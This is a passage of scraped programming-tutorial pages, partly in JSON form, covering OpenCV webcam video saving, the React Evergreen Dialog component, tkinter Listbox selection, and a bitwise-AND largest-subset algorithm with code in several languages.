null, "e": 1908, "s": 1836, "text": "Differences between Functional Components and Class Components in React" }, { "code": null, "e": 1948, "s": 1908, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 2001, "s": 1948, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 2053, "s": 2001, "text": "How to append HTML code to a div using JavaScript ?" }, { "code": null, "e": 2115, "s": 2053, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 2148, "s": 2115, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 2209, "s": 2148, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 2259, "s": 2209, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
Saving Operated Video from a webcam using OpenCV
11 Jul, 2022 OpenCV is a vast library that helps in providing various functions for image and video operations. With OpenCV, we can perform operations on the input video. OpenCV also allows us to save that operated video for further usage. For saving images, we use cv2.imwrite() which saves the image to a specified file location. But, for saving a recorded video, we create a Video Writer object. Firstly, we specify the fourcc variable. FourCC is a 4-byte code used to specify the video codec. List of codes can be obtained at Video Codecs by FourCC. The codecs for Windows is DIVX and for OSX is avc1, h263. FourCC code is passed as cv2.VideoWriter_fourcc(*’MJPG’) for MJPG and cv2.VideoWriter_fourcc(*’XVID’) for DIVX. Then, the cv2.VideoWriter() function is used. cv2.VideoWriter( filename, fourcc, fps, frameSize ) The parameters are : filename: Specifies the name of the output video file.fourcc: (for recording) Defining the codecfps: Defined frame rate of the output video streamframeSize: Size of the video frames filename: Specifies the name of the output video file. fourcc: (for recording) Defining the codec fps: Defined frame rate of the output video stream frameSize: Size of the video frames # Python program to illustrate # saving an operated video # organize importsimport numpy as npimport cv2 # This will return video from the first webcam on your computer.cap = cv2.VideoCapture(0) # Define the codec and create VideoWriter objectfourcc = cv2.VideoWriter_fourcc(*'XVID')out = cv2.VideoWriter('output.avi', fourcc, 20.0, (640, 480)) # loop runs if capturing has been initialized. while(True): # reads frames from a camera # ret checks return at each frame ret, frame = cap.read() # Converts to HSV color space, OCV reads colors as BGR # frame is converted to hsv hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) # output the frame out.write(hsv) # The original input frame is shown in the window cv2.imshow('Original', frame) # The window showing the operated video stream cv2.imshow('frame', hsv) # Wait for 'a' key to stop the program if cv2.waitKey(1) & 0xFF == ord('a'): break # Close the window / Release webcamcap.release() # After we release our webcam, we also release the outputout.release() # De-allocate any associated memory usage cv2.destroyAllWindows() Output:The output screen shows up two windows. The window named ‘Original’ shows input frames, whereas the ‘frame’ window shows the operated video sequence.Also, a video is recorded and saved with the name ‘output’ in the same file location with predefined frame rate and frame size.It is generally of the format .avi. The video saved is like this:Output Video The input video can be operated in other color spaces too, like in grayscale # Python program to illustrate # saving an operated video # organize importsimport numpy as npimport cv2 # This will return video from the first webcam on your computer.cap = cv2.VideoCapture(0) # Define the codec and create VideoWriter objectfourcc = cv2.VideoWriter_fourcc(*'XVID')out = cv2.VideoWriter('output.avi', fourcc, 20.0, (640, 480)) # loop runs if capturing has been initialized. while(True): # reads frames from a camera # ret checks return at each frame ret, frame = cap.read() # Converts to grayscale space, OCV reads colors as BGR # frame is converted to gray gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # output the frame out.write(gray) # The original input frame is shown in the window cv2.imshow('Original', frame) # The window showing the operated video stream cv2.imshow('frame', gray) # Wait for 'a' key to stop the program if cv2.waitKey(1) & 0xFF == ord('a'): break # Close the window / Release webcamcap.release() # After we release our webcam, we also release the out-out.release() # De-allocate any associated memory usage cv2.destroyAllWindows() Output: A video file of this operated video is saved in the same file location as we saw above. This method can help us to create our own dataset for training data in projects / models, to record from our webcam and do necessary operations and also create the video in different color spaces. Kindly refer this link for visualizing content in different color spaces:https://www.geeksforgeeks.org/python-visualizing-image-in-different-color-spaces/ References: https://docs.opencv.org/3.4/dd/d9e/classcv_1_1VideoWriter.htmlhttps://docs.opencv.org/3.1.0/dd/d43/tutorial_py_video_display.htmlhttps://en.wikipedia.org/wiki/FourCChttps://opencv-python-tutroals.readthedocs.io/en/latest/py_tutorials/py_imgproc/py_colorspaces/py_colorspaces.html https://docs.opencv.org/3.4/dd/d9e/classcv_1_1VideoWriter.html https://docs.opencv.org/3.1.0/dd/d43/tutorial_py_video_display.html https://en.wikipedia.org/wiki/FourCC https://opencv-python-tutroals.readthedocs.io/en/latest/py_tutorials/py_imgproc/py_colorspaces/py_colorspaces.html rishabhsingh1304 Image-Processing OpenCV Technical Scripter 2018 Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to iterate through Excel rows in Python? Enumerate() in Python Python Dictionary Python OOPs Concepts Different ways to create Pandas Dataframe *args and **kwargs in Python Python Classes and Objects Introduction To PYTHON Stack in Python Queue in Python
[ { "code": null, "e": 52, "s": 24, "text": "\n11 Jul, 2022" }, { "code": null, "e": 438, "s": 52, "text": "OpenCV is a vast library that helps in providing various functions for image and video operations. With OpenCV, we can perform operations on the input video. OpenCV also allows us to save that operated video for further usage. For saving images, we use cv2.imwrite() which saves the image to a specified file location. But, for saving a recorded video, we create a Video Writer object." }, { "code": null, "e": 763, "s": 438, "text": "Firstly, we specify the fourcc variable. FourCC is a 4-byte code used to specify the video codec. List of codes can be obtained at Video Codecs by FourCC. The codecs for Windows is DIVX and for OSX is avc1, h263. FourCC code is passed as cv2.VideoWriter_fourcc(*’MJPG’) for MJPG and cv2.VideoWriter_fourcc(*’XVID’) for DIVX." }, { "code": null, "e": 809, "s": 763, "text": "Then, the cv2.VideoWriter() function is used." }, { "code": null, "e": 862, "s": 809, "text": "cv2.VideoWriter( filename, fourcc, fps, frameSize )\n" }, { "code": null, "e": 883, "s": 862, "text": "The parameters are :" }, { "code": null, "e": 1065, "s": 883, "text": "filename: Specifies the name of the output video file.fourcc: (for recording) Defining the codecfps: Defined frame rate of the output video streamframeSize: Size of the video frames" }, { "code": null, "e": 1120, "s": 1065, "text": "filename: Specifies the name of the output video file." }, { "code": null, "e": 1163, "s": 1120, "text": "fourcc: (for recording) Defining the codec" }, { "code": null, "e": 1214, "s": 1163, "text": "fps: Defined frame rate of the output video stream" }, { "code": null, "e": 1250, "s": 1214, "text": "frameSize: Size of the video frames" }, { "code": "# Python program to illustrate # saving an operated video # organize importsimport numpy as npimport cv2 # This will return video from the first webcam on your computer.cap = cv2.VideoCapture(0) # Define the codec and create VideoWriter objectfourcc = cv2.VideoWriter_fourcc(*'XVID')out = cv2.VideoWriter('output.avi', fourcc, 20.0, (640, 480)) # loop runs if capturing has been initialized. while(True): # reads frames from a camera # ret checks return at each frame ret, frame = cap.read() # Converts to HSV color space, OCV reads colors as BGR # frame is converted to hsv hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) # output the frame out.write(hsv) # The original input frame is shown in the window cv2.imshow('Original', frame) # The window showing the operated video stream cv2.imshow('frame', hsv) # Wait for 'a' key to stop the program if cv2.waitKey(1) & 0xFF == ord('a'): break # Close the window / Release webcamcap.release() # After we release our webcam, we also release the outputout.release() # De-allocate any associated memory usage cv2.destroyAllWindows()", "e": 2414, "s": 1250, "text": null }, { "code": null, "e": 2775, "s": 2414, "text": "Output:The output screen shows up two windows. The window named ‘Original’ shows input frames, whereas the ‘frame’ window shows the operated video sequence.Also, a video is recorded and saved with the name ‘output’ in the same file location with predefined frame rate and frame size.It is generally of the format .avi. The video saved is like this:Output Video" }, { "code": null, "e": 2852, "s": 2775, "text": "The input video can be operated in other color spaces too, like in grayscale" }, { "code": "# Python program to illustrate # saving an operated video # organize importsimport numpy as npimport cv2 # This will return video from the first webcam on your computer.cap = cv2.VideoCapture(0) # Define the codec and create VideoWriter objectfourcc = cv2.VideoWriter_fourcc(*'XVID')out = cv2.VideoWriter('output.avi', fourcc, 20.0, (640, 480)) # loop runs if capturing has been initialized. while(True): # reads frames from a camera # ret checks return at each frame ret, frame = cap.read() # Converts to grayscale space, OCV reads colors as BGR # frame is converted to gray gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # output the frame out.write(gray) # The original input frame is shown in the window cv2.imshow('Original', frame) # The window showing the operated video stream cv2.imshow('frame', gray) # Wait for 'a' key to stop the program if cv2.waitKey(1) & 0xFF == ord('a'): break # Close the window / Release webcamcap.release() # After we release our webcam, we also release the out-out.release() # De-allocate any associated memory usage cv2.destroyAllWindows()", "e": 4019, "s": 2852, "text": null }, { "code": null, "e": 4027, "s": 4019, "text": "Output:" }, { "code": null, "e": 4115, "s": 4027, "text": "A video file of this operated video is saved in the same file location as we saw above." }, { "code": null, "e": 4312, "s": 4115, "text": "This method can help us to create our own dataset for training data in projects / models, to record from our webcam and do necessary operations and also create the video in different color spaces." }, { "code": null, "e": 4467, "s": 4312, "text": "Kindly refer this link for visualizing content in different color spaces:https://www.geeksforgeeks.org/python-visualizing-image-in-different-color-spaces/" }, { "code": null, "e": 4479, "s": 4467, "text": "References:" }, { "code": null, "e": 4759, "s": 4479, "text": "https://docs.opencv.org/3.4/dd/d9e/classcv_1_1VideoWriter.htmlhttps://docs.opencv.org/3.1.0/dd/d43/tutorial_py_video_display.htmlhttps://en.wikipedia.org/wiki/FourCChttps://opencv-python-tutroals.readthedocs.io/en/latest/py_tutorials/py_imgproc/py_colorspaces/py_colorspaces.html" }, { "code": null, "e": 4822, "s": 4759, "text": "https://docs.opencv.org/3.4/dd/d9e/classcv_1_1VideoWriter.html" }, { "code": null, "e": 4890, "s": 4822, "text": "https://docs.opencv.org/3.1.0/dd/d43/tutorial_py_video_display.html" }, { "code": null, "e": 4927, "s": 4890, "text": "https://en.wikipedia.org/wiki/FourCC" }, { "code": null, "e": 5042, "s": 4927, "text": "https://opencv-python-tutroals.readthedocs.io/en/latest/py_tutorials/py_imgproc/py_colorspaces/py_colorspaces.html" }, { "code": null, "e": 5059, "s": 5042, "text": "rishabhsingh1304" }, { "code": null, "e": 5076, "s": 5059, "text": "Image-Processing" }, { "code": null, "e": 5083, "s": 5076, "text": "OpenCV" }, { "code": null, "e": 5107, "s": 5083, "text": "Technical Scripter 2018" }, { "code": null, "e": 5114, "s": 5107, "text": "Python" }, { "code": null, "e": 5212, "s": 5114, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 5257, "s": 5212, "text": "How to iterate through Excel rows in Python?" }, { "code": null, "e": 5279, "s": 5257, "text": "Enumerate() in Python" }, { "code": null, "e": 5297, "s": 5279, "text": "Python Dictionary" }, { "code": null, "e": 5318, "s": 5297, "text": "Python OOPs Concepts" }, { "code": null, "e": 5360, "s": 5318, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 5389, "s": 5360, "text": "*args and **kwargs in Python" }, { "code": null, "e": 5416, "s": 5389, "text": "Python Classes and Objects" }, { "code": null, "e": 5439, "s": 5416, "text": "Introduction To PYTHON" }, { "code": null, "e": 5455, "s": 5439, "text": "Stack in Python" } ]
ReactJS Evergreen Dialog Component
05 Jun, 2021 React Evergreen is a popular front-end library with a set of React components for building beautiful products as this library is flexible, sensible defaults, and User friendly. Dialog Component allows the user to show content on top of an overlay which requires user interaction. We can use the following approach in ReactJS to use the Evergreen Dialog Component. Dialog Props: children: The children can be a string, a function, or a node. intent: It is used to denote the intent of the Dialog. isShown: It is used to show the dialog when this is set to true. title: It is used to denote the Title of the Dialog. hasHeader: The header with the title and close icon button will be shown if this is set to true. header: It is used to override the default header with our own custom component. hasFooter: It is used to show the footer with the cancel and confirm button when it is set to true. footer: It is used to override the default footer with our own custom component. hasCancel: It is used to show the cancel button when this is set to true. hasClose: It is used to show the close button when this is set to true. onCloseComplete: It is a function that will be triggered when the exit transition is complete. onOpenComplete: It is a function that will be triggered when the enter transition is complete. onConfirm: It is a function that will be triggered when the confirm button is clicked. confirmLabel: It is used to denote the label of the confirm button. isConfirmLoading: The confirm button is set to loading state when this is set to true. isConfirmDisabled: The confirm button is set to disable state when this is set to true. onCancel: It is a function that will be triggered when the cancel button is clicked. cancelLabel: It is used to denote the label of the cancel button. shouldCloseOnOverlayClick: It is used to indicate whether overlay should close the overlay on click or not. shouldCloseOnEscapePress: It is used to indicate whether pressing ESC key should close the overlay or not. width: It is used to denote the width of the Dialog. topOffset: It is used to denote the space above the dialog. sideOffset: When there is not enough horizontal space available on the screen, it is used to denote the space on the left/right sides of the dialog. minHeightContent: It is used to denote the min-height of the body content. containerProps: It is used to denote the props that are passed to the dialog container. contentContainerProps: It is used to denote the props that are passed to the content container. preventBodyScrolling: It is used to indicate whether to prevent scrolling in the outer body or not. overlayProps: It is used to denote the props that are passed to the Overlay component. Creating React Application And Installing Module: Step 1: Create a React application using the following command:npx create-react-app foldername Step 1: Create a React application using the following command: npx create-react-app foldername Step 2: After creating your project folder i.e. foldername, move to it using the following command:cd foldername Step 2: After creating your project folder i.e. foldername, move to it using the following command: cd foldername Step 3: After creating the ReactJS application, Install the required module using the following command:npm install evergreen-ui Step 3: After creating the ReactJS application, Install the required module using the following command: npm install evergreen-ui Project Structure: It will look like the following. Project Structure Example: Now write down the following code in the App.js file. Here, App is our default component where we have written our code. App.js import React from 'react'import { Dialog, Button } from 'evergreen-ui' export default function App() { const [openDialog, setOpenDialog] = React.useState(false) return ( <div style={{ display: 'block', width: 700, paddingLeft: 30 }}> <h4>ReactJS Evergreen Dialog Component</h4> <Button onClick={() => setOpenDialog(true)}> Open Dialog </Button> <Dialog isShown={openDialog} title="Sample Dialog" confirmLabel="This is a sample dialog for demo" onCloseComplete={() => setOpenDialog(false)} > Dialog content </Dialog> </div> );} Step to Run Application: Run the application using the following command from the root directory of the project: npm start Output: Now open your browser and go to http://localhost:3000/, you will see the following output: Reference: https://evergreen.segment.com/components/dialog ReactJS-Evergreen ReactJS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Axios in React: A Guide for Beginners ReactJS useNavigate() Hook How to do crud operations in ReactJS ? How to install bootstrap in React.js ? React-Router Hooks Installation of Node.js on Linux How to insert spaces/tabs in text using HTML/CSS? Top 10 Projects For Beginners To Practice HTML and CSS Skills How to create footer to stay at the bottom of a Web page? How to set the default value for an HTML <select> element ?
[ { "code": null, "e": 28, "s": 0, "text": "\n05 Jun, 2021" }, { "code": null, "e": 392, "s": 28, "text": "React Evergreen is a popular front-end library with a set of React components for building beautiful products as this library is flexible, sensible defaults, and User friendly. Dialog Component allows the user to show content on top of an overlay which requires user interaction. We can use the following approach in ReactJS to use the Evergreen Dialog Component." }, { "code": null, "e": 406, "s": 392, "text": "Dialog Props:" }, { "code": null, "e": 469, "s": 406, "text": "children: The children can be a string, a function, or a node." }, { "code": null, "e": 524, "s": 469, "text": "intent: It is used to denote the intent of the Dialog." }, { "code": null, "e": 589, "s": 524, "text": "isShown: It is used to show the dialog when this is set to true." }, { "code": null, "e": 642, "s": 589, "text": "title: It is used to denote the Title of the Dialog." }, { "code": null, "e": 739, "s": 642, "text": "hasHeader: The header with the title and close icon button will be shown if this is set to true." }, { "code": null, "e": 820, "s": 739, "text": "header: It is used to override the default header with our own custom component." }, { "code": null, "e": 920, "s": 820, "text": "hasFooter: It is used to show the footer with the cancel and confirm button when it is set to true." }, { "code": null, "e": 1001, "s": 920, "text": "footer: It is used to override the default footer with our own custom component." }, { "code": null, "e": 1075, "s": 1001, "text": "hasCancel: It is used to show the cancel button when this is set to true." }, { "code": null, "e": 1147, "s": 1075, "text": "hasClose: It is used to show the close button when this is set to true." }, { "code": null, "e": 1242, "s": 1147, "text": "onCloseComplete: It is a function that will be triggered when the exit transition is complete." }, { "code": null, "e": 1337, "s": 1242, "text": "onOpenComplete: It is a function that will be triggered when the enter transition is complete." }, { "code": null, "e": 1424, "s": 1337, "text": "onConfirm: It is a function that will be triggered when the confirm button is clicked." }, { "code": null, "e": 1492, "s": 1424, "text": "confirmLabel: It is used to denote the label of the confirm button." }, { "code": null, "e": 1579, "s": 1492, "text": "isConfirmLoading: The confirm button is set to loading state when this is set to true." }, { "code": null, "e": 1667, "s": 1579, "text": "isConfirmDisabled: The confirm button is set to disable state when this is set to true." }, { "code": null, "e": 1752, "s": 1667, "text": "onCancel: It is a function that will be triggered when the cancel button is clicked." }, { "code": null, "e": 1818, "s": 1752, "text": "cancelLabel: It is used to denote the label of the cancel button." }, { "code": null, "e": 1926, "s": 1818, "text": "shouldCloseOnOverlayClick: It is used to indicate whether overlay should close the overlay on click or not." }, { "code": null, "e": 2033, "s": 1926, "text": "shouldCloseOnEscapePress: It is used to indicate whether pressing ESC key should close the overlay or not." }, { "code": null, "e": 2086, "s": 2033, "text": "width: It is used to denote the width of the Dialog." }, { "code": null, "e": 2146, "s": 2086, "text": "topOffset: It is used to denote the space above the dialog." }, { "code": null, "e": 2295, "s": 2146, "text": "sideOffset: When there is not enough horizontal space available on the screen, it is used to denote the space on the left/right sides of the dialog." }, { "code": null, "e": 2370, "s": 2295, "text": "minHeightContent: It is used to denote the min-height of the body content." }, { "code": null, "e": 2458, "s": 2370, "text": "containerProps: It is used to denote the props that are passed to the dialog container." }, { "code": null, "e": 2554, "s": 2458, "text": "contentContainerProps: It is used to denote the props that are passed to the content container." }, { "code": null, "e": 2654, "s": 2554, "text": "preventBodyScrolling: It is used to indicate whether to prevent scrolling in the outer body or not." }, { "code": null, "e": 2741, "s": 2654, "text": "overlayProps: It is used to denote the props that are passed to the Overlay component." }, { "code": null, "e": 2791, "s": 2741, "text": "Creating React Application And Installing Module:" }, { "code": null, "e": 2886, "s": 2791, "text": "Step 1: Create a React application using the following command:npx create-react-app foldername" }, { "code": null, "e": 2950, "s": 2886, "text": "Step 1: Create a React application using the following command:" }, { "code": null, "e": 2982, "s": 2950, "text": "npx create-react-app foldername" }, { "code": null, "e": 3097, "s": 2984, "text": "Step 2: After creating your project folder i.e. foldername, move to it using the following command:cd foldername" }, { "code": null, "e": 3197, "s": 3097, "text": "Step 2: After creating your project folder i.e. foldername, move to it using the following command:" }, { "code": null, "e": 3211, "s": 3197, "text": "cd foldername" }, { "code": null, "e": 3340, "s": 3211, "text": "Step 3: After creating the ReactJS application, Install the required module using the following command:npm install evergreen-ui" }, { "code": null, "e": 3445, "s": 3340, "text": "Step 3: After creating the ReactJS application, Install the required module using the following command:" }, { "code": null, "e": 3470, "s": 3445, "text": "npm install evergreen-ui" }, { "code": null, "e": 3522, "s": 3470, "text": "Project Structure: It will look like the following." }, { "code": null, "e": 3540, "s": 3522, "text": "Project Structure" }, { "code": null, "e": 3670, "s": 3540, "text": "Example: Now write down the following code in the App.js file. Here, App is our default component where we have written our code." }, { "code": null, "e": 3677, "s": 3670, "text": "App.js" }, { "code": "import React from 'react'import { Dialog, Button } from 'evergreen-ui' export default function App() { const [openDialog, setOpenDialog] = React.useState(false) return ( <div style={{ display: 'block', width: 700, paddingLeft: 30 }}> <h4>ReactJS Evergreen Dialog Component</h4> <Button onClick={() => setOpenDialog(true)}> Open Dialog </Button> <Dialog isShown={openDialog} title=\"Sample Dialog\" confirmLabel=\"This is a sample dialog for demo\" onCloseComplete={() => setOpenDialog(false)} > Dialog content </Dialog> </div> );}", "e": 4302, "s": 3677, "text": null }, { "code": null, "e": 4415, "s": 4302, "text": "Step to Run Application: Run the application using the following command from the root directory of the project:" }, { "code": null, "e": 4425, "s": 4415, "text": "npm start" }, { "code": null, "e": 4524, "s": 4425, "text": "Output: Now open your browser and go to http://localhost:3000/, you will see the following output:" }, { "code": null, "e": 4583, "s": 4524, "text": "Reference: https://evergreen.segment.com/components/dialog" }, { "code": null, "e": 4601, "s": 4583, "text": "ReactJS-Evergreen" }, { "code": null, "e": 4609, "s": 4601, "text": "ReactJS" }, { "code": null, "e": 4626, "s": 4609, "text": "Web Technologies" }, { "code": null, "e": 4724, "s": 4626, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 4762, "s": 4724, "text": "Axios in React: A Guide for Beginners" }, { "code": null, "e": 4789, "s": 4762, "text": "ReactJS useNavigate() Hook" }, { "code": null, "e": 4828, "s": 4789, "text": "How to do crud operations in ReactJS ?" }, { "code": null, "e": 4867, "s": 4828, "text": "How to install bootstrap in React.js ?" }, { "code": null, "e": 4886, "s": 4867, "text": "React-Router Hooks" }, { "code": null, "e": 4919, "s": 4886, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 4969, "s": 4919, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 5031, "s": 4969, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 5089, "s": 5031, "text": "How to create footer to stay at the bottom of a Web page?" } ]
How to get selected value from listbox in tkinter?
10 Jun, 2021 Prerequisites: Tkinter, Listbox ListBox is one of the many useful widgets provided by Tkinter for GUI development. The Listbox widget is used to display a list of items from which a user can select one or more items according to the constraints. In this article, we’ll see how we can get the selected value(s) from a Listbox widget. Code: Python3 # Python3 program to get selected# value(s) from tkinter listbox # Import tkinterfrom tkinter import * # Create the root windowroot = Tk()root.geometry('180x200') # Create a listboxlistbox = Listbox(root, width=40, height=10, selectmode=MULTIPLE) # Inserting the listbox itemslistbox.insert(1, "Data Structure")listbox.insert(2, "Algorithm")listbox.insert(3, "Data Science")listbox.insert(4, "Machine Learning")listbox.insert(5, "Blockchain") # Function for printing the# selected listbox value(s)def selected_item(): # Traverse the tuple returned by # curselection method and print # corresponding value(s) in the listbox for i in listbox.curselection(): print(listbox.get(i)) # Create a button widget and# map the command parameter to# selected_item functionbtn = Button(root, text='Print Selected', command=selected_item) # Placing the button and listboxbtn.pack(side='bottom')listbox.pack() root.mainloop() Output: GUI window with output Explanation: The curselection method on listbox returns a tuple containing the indices/line numbers of the selected item(s) of the listbox, starting from 0. The selected_item function that we made, traverses the tuple returned by the curselection method and prints the corresponding item of the listbox using the indices. It is executed when we press the “Print Selected” button. In the case of no selected items, curselection method returns an empty tuple. Note: You can change the selectmode parameter of the listbox widget to “SINGLE” for putting a constraint of choosing a single value only. sumitgumber28 Picked Python Tkinter-exercises Python-tkinter Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Different ways to create Pandas Dataframe Enumerate() in Python Read a file line by line in Python Python String | replace() How to Install PIP on Windows ? *args and **kwargs in Python Python Classes and Objects Iterate over a list in Python Python OOPs Concepts
[ { "code": null, "e": 28, "s": 0, "text": "\n10 Jun, 2021" }, { "code": null, "e": 60, "s": 28, "text": "Prerequisites: Tkinter, Listbox" }, { "code": null, "e": 361, "s": 60, "text": "ListBox is one of the many useful widgets provided by Tkinter for GUI development. The Listbox widget is used to display a list of items from which a user can select one or more items according to the constraints. In this article, we’ll see how we can get the selected value(s) from a Listbox widget." }, { "code": null, "e": 367, "s": 361, "text": "Code:" }, { "code": null, "e": 375, "s": 367, "text": "Python3" }, { "code": "# Python3 program to get selected# value(s) from tkinter listbox # Import tkinterfrom tkinter import * # Create the root windowroot = Tk()root.geometry('180x200') # Create a listboxlistbox = Listbox(root, width=40, height=10, selectmode=MULTIPLE) # Inserting the listbox itemslistbox.insert(1, \"Data Structure\")listbox.insert(2, \"Algorithm\")listbox.insert(3, \"Data Science\")listbox.insert(4, \"Machine Learning\")listbox.insert(5, \"Blockchain\") # Function for printing the# selected listbox value(s)def selected_item(): # Traverse the tuple returned by # curselection method and print # corresponding value(s) in the listbox for i in listbox.curselection(): print(listbox.get(i)) # Create a button widget and# map the command parameter to# selected_item functionbtn = Button(root, text='Print Selected', command=selected_item) # Placing the button and listboxbtn.pack(side='bottom')listbox.pack() root.mainloop()", "e": 1310, "s": 375, "text": null }, { "code": null, "e": 1322, "s": 1314, "text": "Output:" }, { "code": null, "e": 1347, "s": 1324, "text": "GUI window with output" }, { "code": null, "e": 1363, "s": 1349, "text": "Explanation: " }, { "code": null, "e": 1811, "s": 1365, "text": "The curselection method on listbox returns a tuple containing the indices/line numbers of the selected item(s) of the listbox, starting from 0. The selected_item function that we made, traverses the tuple returned by the curselection method and prints the corresponding item of the listbox using the indices. It is executed when we press the “Print Selected” button. In the case of no selected items, curselection method returns an empty tuple." }, { "code": null, "e": 1951, "s": 1813, "text": "Note: You can change the selectmode parameter of the listbox widget to “SINGLE” for putting a constraint of choosing a single value only." }, { "code": null, "e": 1967, "s": 1953, "text": "sumitgumber28" }, { "code": null, "e": 1974, "s": 1967, "text": "Picked" }, { "code": null, "e": 1999, "s": 1974, "text": "Python Tkinter-exercises" }, { "code": null, "e": 2014, "s": 1999, "text": "Python-tkinter" }, { "code": null, "e": 2021, "s": 2014, "text": "Python" }, { "code": null, "e": 2119, "s": 2021, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2137, "s": 2119, "text": "Python Dictionary" }, { "code": null, "e": 2179, "s": 2137, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 2201, "s": 2179, "text": "Enumerate() in Python" }, { "code": null, "e": 2236, "s": 2201, "text": "Read a file line by line in Python" }, { "code": null, "e": 2262, "s": 2236, "text": "Python String | replace()" }, { "code": null, "e": 2294, "s": 2262, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 2323, "s": 2294, "text": "*args and **kwargs in Python" }, { "code": null, "e": 2350, "s": 2323, "text": "Python Classes and Objects" }, { "code": null, "e": 2380, "s": 2350, "text": "Iterate over a list in Python" } ]
Find the size of Largest Subset with positive Bitwise AND
02 Jun, 2022 Given an array arr[] consisting of N positive integers, the task is to find the largest size of the subset of the array arr[] with positive Bitwise AND. Note : If there exist more than one such subsets then return size of only one subset. Examples: Input: arr[] = [7, 13, 8, 2, 3]Output: 3Explanation:The subsets having Bitwise AND positive are {7,13,3} and {7,2,3} are of length 3, which is of maximum length among all possible subsets. Input: arr[] = [1, 2, 4, 8]Output: 1 Approach: The given problem can be solved by counting the number of set bits at each corresponding bits position for all array elements and then the count of the maximum of set bits at any position is the maximum count of subset required because the Bitwise AND of all those elements is always positive. Illustration : 7 --> 00111 13 --> 01101 8 --> 01000 2 --> 00010 3 --> 00011 ------ 02233 <-- Evident BitWise AND bit(Most number of 1's in bit grid) From above it is clearly evident that we can have maximum of 3 bitwise combinations where combinations are listed below as follows: {7,13,3} {7,2,3} Initialize an array, say bit[] of size 32 that stores the count of set bits at each ith bit position. Traverse the given array and for each element, say arr[i] increment the frequency of the ith bit in the array bit[] if the ith bit is set in arr[i]. After the above steps, print the maximum of the array bit[] to print the maximum size of the subset. Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ program for the above approach #include <bits/stdc++.h>using namespace std; // Function to find the largest possible// subset having Bitwise AND positivevoid largestSubset(int a[], int N){ // Stores the number of set bits // at each bit position int bit[32] = { 0 }; // Traverse the given array arr[] for (int i = 0; i < N; i++) { // Current bit position int x = 31; // Loop till array element // becomes zero while (a[i] > 0) { // If the last bit is set if (a[i] & 1 == 1) { // Increment frequency bit[x]++; } // Divide array element by 2 a[i] = a[i] >> 1; // Decrease the bit position x--; } } // Size of the largest possible subset cout << *max_element(bit, bit + 32);} // Driver Codeint main(){ int arr[] = { 7, 13, 8, 2, 3 }; int N = sizeof(arr) / sizeof(arr[0]); largestSubset(arr, N); return 0;} // Java program for the above approachimport java.io.*;class GFG{ static void largestSubset(int a[], int N) { // Stores the number of set bits // at each bit position int bit[] = new int[32]; // Traverse the given array arr[] for (int i = 0; i < N; i++) { // Current bit position int x = 31; // Loop till array element // becomes zero while (a[i] > 0) { // If the last bit is set if ((int)(a[i] & 1) == (int)1) { // Increment frequency bit[x]++; } // Divide array element by 2 a[i] = a[i] >> 1; // Decrease the bit position x--; } } // Size of the largest possible subset int max = Integer.MIN_VALUE; for (int i = 0; i < 32; i++) { max = Math.max(max, bit[i]); } System.out.println(max); } // Driver code public static void main (String[] args) { int arr[] = {7, 13, 8, 2, 3}; int N = arr.length; largestSubset(arr, N); }} // This code is contributed by Dharanendra L V. # Python 3 program for the above approach # Function to find the largest possible# subset having Bitwise AND positivedef largestSubset(a, N): # Stores the number of set bits # at each bit position bit = [0 for i in range(32)] # Traverse the given array arr[] for i in range(N): # Current bit position x = 31 # Loop till array element # becomes zero while(a[i] > 0): # If the last bit is set if (a[i] & 1 == 1): # Increment frequency bit[x] += 1 # Divide array element by 2 a[i] = a[i] >> 1 # Decrease the bit position x -= 1 # Size of the largest possible subset print(max(bit)) # Driver Codeif __name__ == '__main__': arr = [7, 13, 8, 2, 3] N = len(arr) largestSubset(arr, N) # This code is contributed by ipg016107. // C# program for the above approachusing System;class GFG { static void largestSubset(int[] a, int N) { // Stores the number of set bits // at each bit position int[] bit = new int[32]; // Traverse the given array arr[] for (int i = 0; i < N; i++) { // Current bit position int x = 31; // Loop till array element // becomes zero while (a[i] > 0) { // If the last bit is set if ((int)(a[i] & 1) == (int)1) { // Increment frequency bit[x]++; } // Divide array element by 2 a[i] = a[i] >> 1; // Decrease the bit position x--; } } // Size of the largest possible subset int max = Int32.MinValue; for (int i = 0; i < 32; i++) { max = Math.Max(max, bit[i]); } Console.WriteLine(max); } // Driver code public static void Main(string[] args) { int[] arr = { 7, 13, 8, 2, 3 }; int N = arr.Length; largestSubset(arr, N); }} // This code is contributed by ukasp. <script> // JavaScript Program to implement // the above approach // Function to find the largest possible // subset having Bitwise AND positive function largestSubset(a, N) { // Stores the number of set bits // at each bit position let bit = new Array(32).fill(0); // Traverse the given array arr[] for (let i = 0; i < N; i++) { // Current bit position let x = 31; // Loop till array element // becomes zero while (a[i] > 0) { // If the last bit is set if (a[i] & 1 == 1) { // Increment frequency bit[x]++; } // Divide array element by 2 a[i] = a[i] >> 1; // Decrease the bit position x--; } } // Size of the largest possible subset let max = Number.MIN_VALUE; for (let i = 0; i < 32; i++) { max = Math.max(max, bit[i]); } document.write(max); } // Driver Code let arr = [7, 13, 